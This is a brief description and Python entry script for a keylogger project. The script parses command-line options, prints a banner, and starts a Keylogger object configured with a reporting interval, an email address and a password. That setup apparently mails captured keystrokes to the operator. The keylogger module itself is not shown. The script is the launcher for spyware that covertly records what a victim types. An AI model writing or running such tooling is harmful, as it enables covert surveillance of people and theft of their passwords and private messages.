This script invokes all methods and classes used by the keylogger.
- We make the code modular and much easy to read seperating the keylogger class and main files.
- We use this class to invoke methods from the keylogger class to log and report.
Code:
#!/usr/bin/env python
import argparse
# import filename
import keylogger
# Parse Args
options = keylogger.get_arguments()
print(keylogger.banner)
# new object definition for class "Keylogger"
my_keylogger = keylogger.Keylogger(int(options.interval), str(options.email), str(options.password))
# Use the start method
my_keylogger.start()